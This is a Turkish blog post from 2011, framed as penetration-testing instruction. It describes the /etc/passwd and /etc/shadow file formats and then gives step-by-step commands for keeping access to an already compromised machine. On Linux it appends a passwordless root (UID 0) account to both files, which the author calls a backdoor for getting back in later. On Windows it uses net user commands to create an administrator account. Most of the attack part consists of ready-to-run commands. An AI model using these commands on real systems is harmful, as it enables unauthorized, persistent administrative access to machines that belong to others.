9 Ağustos 2011

Pentest/hacking çalışmalarında komut satırı ele geçirilen sistemler üzerinde(linux üzerinde root yetkilere sahip,windows üzerinde ise administrator yetkilere sahip)kullanıcıların nasıl oluşturulacağını anlatacağım.
  1. Linux/Unix bir sistem üzerinde root yetkilere sahip bir kullanıcı oluşturalım;
Bu çalışmamızdan önce linux sistemlerde kritik öneme sahip iki dosyadan bahsedeceğim.Bunlar /etc/passwd ve /etc/shadow dosyalarıdır.Sisteme login olma esnasındaki kullanıcı adı ve şifre gibi temel bilgilerin tutulduğu bu iki dosya hakkında biraz daha detaylı bilgi verdikten sonra asıl işlemimize geçelim

  •     /etc/passwd ; Linux/Unix sistemlerde bulunan, kullanıcılar ile ilgili temel bilgilerin
tutulduğu text formatında bir dosyadır.Bu dosya içerisinde sistem üzerindeki kullanıcı adları,kullanıcı ID'leri(user ID),kullanıcı grup ID'leri(user grup ID),kullanıcı home dizini,komut çalıştırılacak shell bilgisi gibi veriler her kullanıcı için bir satırda tutulur.User ID değeri 0-99 arasında olan kullanıcılar öntanımlı sistem kullanıcılarına aittir.Bu arada 0 root için kullanılır.100-999 arasındaki User ID'ler ise sistem üzerindeki diğer accountlar için kullanılır.Örnek bir /etc/passwd dosyasındaki satır aşağıdaki gibidir. 

celalerdik:x:1001:1002:,,,:/home/celalerdik:/bin/bash   


Burada;
celalerdik: Kullanıcı adıdır.
x :Parola bilgisidir.Fakat bu bilgi burada gösterilmez /etc/shadow altında tutulur.
1001: UserID değeridir
1002 :User group ID değeridir 
/home/celalerdik: Bu kullanıcıya ait home dizinidir.
/bin/bash: Bu kullanıcının işlem yapacağı shell bilgisidir.

  •     /etc/shadow ; Bu dosya her kullanıcının parolasının encripted(şifreli) olarak tutulduğu text 
formatında bir dosyadır.Bu dosyadan örnek bir satır;
celalerdik:$6$TC/xJ8Os$XaNsJBzm6gZdUfSmDsy9aDUbRqYrPUt.TH/TOjKjW5SgsI LkAXtf4 WsaeXVMVu7h.YQwaM4M7/yDeW6.m2kLP1:15194:0:99999:7:::
Burada $6$ bölümü kullanılan şifreleme algoritmasının türünü belirtir.Burada sha512 şifreleme algoritması kullanılmıştır.Yeni linux sistemlerde en güvenli şifreleme algoritması olarak defaultta sha512 kullanılmaktadır.Fakat bunu değiştirmek sizin elinizde.
Değiştirmek için, /etc/pam.d/common-password dosyasında password [success=1 default=ignore] pam_unix.so obscure sha512 satırını bulup buradaki sha512 kısmını sha256 veya md5 olarak değiştirebilirsiniz.Bu değişikliği yaptığınız andan itibaren sistem üzerinde oluşturulacak yeni kullanıcılar bu şifreleme algoritması ile oluşturulacaktır.Dolayısı ile /etc/shadow altındaki satırlarda $6$ yerine md5 kullanmışsa $1$,sha256 kullanılmışsa $5$ görülecektir.

Yukarıdaki satırda gördğünüz,  TC/xJ8Os$XaNsJBzm6gZdUfSmDsy9aDUbRqYrPUt.TH/TOjKjW5SgsILkAXtf4W saeXVM Vu7h. YQwaM4M7/yDeW6.m2kLP1 satırı ise celalerdik kullanıcısının şifresinin sha512 şifreleme algoritması kullanılarak şifrelenmiş halidir.

Şimdi ise asıl konumuza geçelim.Linux/unix bir sistemin komut satırı ele geçirildiğinde bu sistem üzerinde root yetkilerine sahip ve parolasız bir kullanıcıyı /etc/passwd ve /etc/shadow dosyaları üzerine kayıtlar girerek oluşturalım.
Bu işlem için öncelikle /etc/passwd dosyasına bir satır yazdırmamız gerekiyor.
Bunun için şu komut girilmeli;
echo "entelmaganda::0:0::/:/bin/bash" >> /etc/passwd

Burada oluştuduğumuz kullanıcının adı entelmaganda,userid ve groupid bilgileri görüldüğü gibi 0(sıfır)'dır.Bu kullanıcının root haklarda olduğunu gösterir.
Bu işlemi tamamladıktan sonra diğer bir işlem /etc/shadow dosyasına bir satır yazdırmamız gerekiyor.
Bunun için şu komut girilmeli;
echo "entelmaganda:w3nT2H0b6AjM2:::::::" >> /etc/shadow

Burada entelmaganda kullanıcıadı, w3nT2H0b6AjM2 ise null parolaya karşılık gelen hash değeridir.

Bu iki adımdan sonra komut satırını aldığımız cihaz üzerinde artık entelmaganda isimli ve parolasız bir kullanıcı oluşturmuş olduk.Artık bu şekilde daha sonra sisteme tekrar sızabilmek için bir arka kapı bırakmış olduk.
      2. Windows bir sistem üzerinde administrator yetkilerine sahip bir kullanıcı oluşturalım;

Komut satırından aşağıdaki komutlar girilmelidir.
net user celalerdik 123456 /add
Bu komut ile kullanıcı adı celalerdik ve parolası 123456 olan yeni bir kullanıcı tanımlamış olduk.
Daha sonra şu komut girilmelidir.
net user celalerdik /active:yes
Burada yaptığımız bu oluşturduğumuz kullanıcıyı aktif etmektir.Şimdi de administrator yetkilerini vermek için aşağıdaki komutu verelim.
net localgroup administrators celalerdik /add
Buradada kullanıcımızı administrators grubuna dahil edilerek,komut satırı ele geçirilen bir windows makina üzerinde daha sonra kullanılmak üzere admin yetkilerinde bir account oluşturulmuş oldu.
Net user'in detaylı kullanımı için http://celalerdik.blogspot.com/2011/08/net-user-fonksiyonlar.html inceleyebilirsiniz.
Makalelerin kötüye kullanım kullanıcının sorumluluğundadır. | networkpentest.net. Blogger tarafından desteklenmektedir.